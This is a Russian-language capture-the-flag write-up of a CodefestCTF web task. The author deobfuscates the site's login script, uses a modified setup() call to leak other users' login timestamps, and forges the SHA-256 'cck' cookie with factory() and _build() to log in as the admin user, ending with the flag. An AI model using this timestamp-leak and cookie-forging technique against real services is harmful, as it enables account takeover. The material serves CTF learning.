При открытии веб-страницы нам была представлена ​​функция входа / регистрации.

Сначала я добавил в поля ввода данные для SQLi, XSS и т. Д. Но, похоже, ничего не работало, так что это не должно было быть чем-то простым!

Я посмотрел на исходный код, и что-то подозрительное привлекло мое внимание: пользовательская "библиотека" JS /static/runner/challenge.js.

Источник был уменьшен и затемнен; Поэтому я использовал этот веб-сайт для деобфускации и уточнения кода:

'use strict';
$(document)["ready"](() => {
  /**
   * @param {!Object} spec
   * @return {?}
   */
  function factory(spec) {
    var shaObj = new jsSHA("SHA-256", "TEXT");
    var existing = spec["id"] + " 000 114328 000 " + spec["time"];
    shaObj["update"](existing);
    var KongPluginsService = shaObj["getHash"]("HEX");
    return KongPluginsService;
  }
  /**
   * @param {!Object} config
   * @return {undefined}
   */
  function setup(config) {
    var val = Cookies["get"]("time");
    var index = Cookies["get"]("id");
    if (index == undefined || val == undefined) {
      config["failure"]();
    } else {
      if (index != $("#login-username")["val"]()) {
        config["failure"]();
      } else {
        $["ajax"]({
          "url" : "api/login/",
          "type" : "POST",
          "headers" : {
            "X-Cache-Command" : "META",
            "X-Cache-User" : index
          },
          "success" : (data) => {
            /** @type {!Date} */
            var item = new Date;
            if (data["time"] != val) {
              config["failure"]();
            } else {
              if (!changeColumnSpec(val, item)) {
                config["failure"]();
              } else {
                config["success"]();
              }
            }
          }
        });
      }
    }
  }
  /**
   * @param {?} group
   * @param {!Date} item
   * @return {?}
   */
  function changeColumnSpec(group, item) {
    return !![];
  }
  /**
   * @return {undefined}
   */
  function setUpUserAutosuggest() {
    setup({
      "success" : login,
      "failure" : doLogin
    });
  }
  /**
   * @return {undefined}
   */
  function login() {
    var salesTeam = Cookies["get"]("id");
    var _0x24e669 = Cookies["get"]("cck");
    $["ajax"]({
      "url" : "api/login/",
      "type" : "POST",
      "headers" : {
        "X-Cache-Command" : "PULL",
        "X-Cache-User" : salesTeam,
        "X-Cache-Key" : _0x24e669
      },
      "success" : (i) => {
        fn(i);
      },
      "error" : () => {
        alert("Unexpected Error!");
        Cookies["remove"]("id");
        Cookies["remove"]("cck");
        Cookies["remove"]("time");
      }
    });
  }
  /**
   * @return {undefined}
   */
  function doLogin() {
    $["ajax"]({
      "url" : "api/login/",
      "type" : "POST",
      "contentType" : "application/json; charset=utf-8",
      "processData" : ![],
      "data" : JSON["stringify"]({
        "password" : $("#login-password")["val"](),
        "username" : $("#login-username")["val"]()
      }),
      "success" : (value) => {
        fn(value);
        _build(value);
      },
      "error" : (msg) => {
        if (msg["status"] == 401) {
          alert("Auth Failed!");
        }
        console["log"](msg);
      }
    });
  }
  /**
   * @param {!Object} value
   * @return {undefined}
   */
  function _build(value) {
    Cookies["set"]("id", value["id"]);
    Cookies["set"]("time", value["time"]);
    Cookies["set"]("cck", factory(value));
  }
  /**
   * @param {!Object} p
   * @return {undefined}
   */
  function fn(p) {
    $(".page.login")["addClass"]("hidden");
    $(".page.logged-in")["removeClass"]("hidden");
    $("#login-message")["text"](p["data"]);
  }
  $("#go-to-login")["click"](() => {
    $(".page.reg-success")["addClass"]("hidden");
    $(".page.login")["removeClass"]("hidden");
  });
  $("#logout")["click"](() => {
    $(".page.logged-in")["addClass"]("hidden");
    $(".page.login")["removeClass"]("hidden");
  });
  $("#register")["click"](() => {
    $(".page.login")["addClass"]("hidden");
    $(".page.register")["removeClass"]("hidden");
  });
  $("#login-re")["click"](() => {
    $(".page.register")["addClass"]("hidden");
    $(".page.login")["removeClass"]("hidden");
  });
  $("#registration-form")["submit"]((result) => {
    result["preventDefault"]();
    if ($("#reg-password")["val"]() != $("#reg-again")["val"]()) {
      alert("Passswords Don't Match!");
      $("#reg-again")["val"]("");
      return;
    }
    $["ajax"]({
      "url" : "api/register/",
      "type" : "POST",
      "contentType" : "application/json; charset=utf-8",
      "processData" : ![],
      "data" : JSON["stringify"]({
        "password" : $("#reg-password")["val"]()
      }),
      "success" : (message) => {
        console["log"](message);
        $(".page.register")["addClass"]("hidden");
        $(".page.reg-success")["removeClass"]("hidden");
        $("#reg-message")["text"](message["id"]);
      },
      "error" : (message) => {
        console["log"](message);
      }
    });
  });
  $("#login-form")["submit"]((result) => {
    result["preventDefault"]();
    setUpUserAutosuggest();
  });
});

На первый взгляд это выглядело как модуль, отвечающий за обработку сервисов аутентификации! И при дальнейшем чтении я обнаружил, что это то, на чем мне нужно сосредоточиться!

Некоторое время анализируя функции, я пришел к выводу, что функциональность входа в приложение основана на комбинации имени пользователя и пароля; или комбинация файлов cookie: cck и id. Маршрут с использованием имени пользователя и пароля не кажется жизнеспособным (поскольку для этого потребуется грубая сила; и обычно администраторы избегают этого, поскольку это отрицательно скажется на их системах, на которых размещены эти службы). Итак, я начал изучать печенье.

Функция _build(), похоже, отвечала за установку файлов cookie при входе в систему. Файл cookie id находился под нашим контролем, но оставшиеся файлы cookie time и cck зависели от сеансов вошедших в систему пользователей. Итак, все, что мне нужно было сделать, это получить временную метку входа для любого пользователя (представленного с использованием идентификаторов). И функция setup() делает именно это!

function setup(config) {
    var val = Cookies["get"]("time");
    var index = Cookies["get"]("id");
    if (index == undefined || val == undefined) {
      config["failure"]();
    } else {
      if (index != $("#login-username")["val"]()) {
        config["failure"]();
      } else {
        $["ajax"]({
          "url" : "api/login/",
          "type" : "POST",
          "headers" : {
            "X-Cache-Command" : "META",
            "X-Cache-User" : index
          },
          "success" : (data) => {
            /** @type {!Date} */
            var item = new Date;
            if (data["time"] != val) {
              config["failure"]();
            } else {
              if (!changeColumnSpec(val, item)) {
                config["failure"]();
              } else {
                config["success"]();
              }
            }
          }
        });
      }
    }
  }

Эта функция в основном возвращает метку времени входа любого пользователя для проверки предоставленной метки времени в логине на основе файлов cookie. Итак, если мы просто удалим проверку и запустим функцию для любого идентификатора пользователя, мы сможем получить время входа в систему любого пользователя?

Я обновил функцию setup(), чтобы сделать именно это:

function setup(id) {
  $["ajax"]({
    "url" : "api/login/",
    "type" : "POST",
    "headers" : {
      "X-Cache-Command" : "META",
      "X-Cache-User" : id
    },
    "success" : (data) => {
      console.log(data["time"]);
    }
  });
}

И теперь мне просто нужно было запустить эту функцию с любым идентификатором, который я хочу! А какой лучше ID для начала, чем 1?

Угадай, что? Я получил метку времени пользователя с ID 1!

Теперь, когда у меня были id и time; Мне просто нужен cck. Возвращаясь к функции _build(), мы видим, что хэш cck генерируется функцией factory(). Логика довольно проста (и бессмысленна (:):

var existing = spec[“id”] + “ 000 114328 000 “ + spec[“time”];

Теперь сгенерируем хеш для пользователя с ID 1:

Я просто вызвал функцию factory() с полученными параметрами: factory({'id':'1', 'time':'2019–08–23 10:17:10.771772+00:00'})

Теперь, когда у нас есть все 3 обязательных параметра, пришло время установить файлы cookie и увидеть результат своими глазами! Для этого я использовал функцию _build():

_build({'id':'1', 'time':'2019–08–23 10:17:10.771772+00:00'})

Теперь, когда у нас все настроено; Я заполнил форму входа в систему, указав имя пользователя 1, за которым следует случайный пароль; при отправке формы я вошел в систему!

Но флага здесь не было :( Потратив некоторое время на результат, я предположил, что оставшаяся часть задачи будет включать в себя угадывание, поэтому я решил отойти от этого (в основном потому, что я был слишком ленив xD).

После разговора с организатором после завершения CTF мне сказали, что администратором был пользователь с ID 6. Ух!

Чтобы немного закончить, я повторил тот же процесс, но на этот раз с идентификатором пользователя 6, и мне вручили флаг!

Флаг: CodefestCTF{1AmTeHHHAX00Rr4uj8rfi4e$%y5yhrf}

P.S. Не поленитесь xD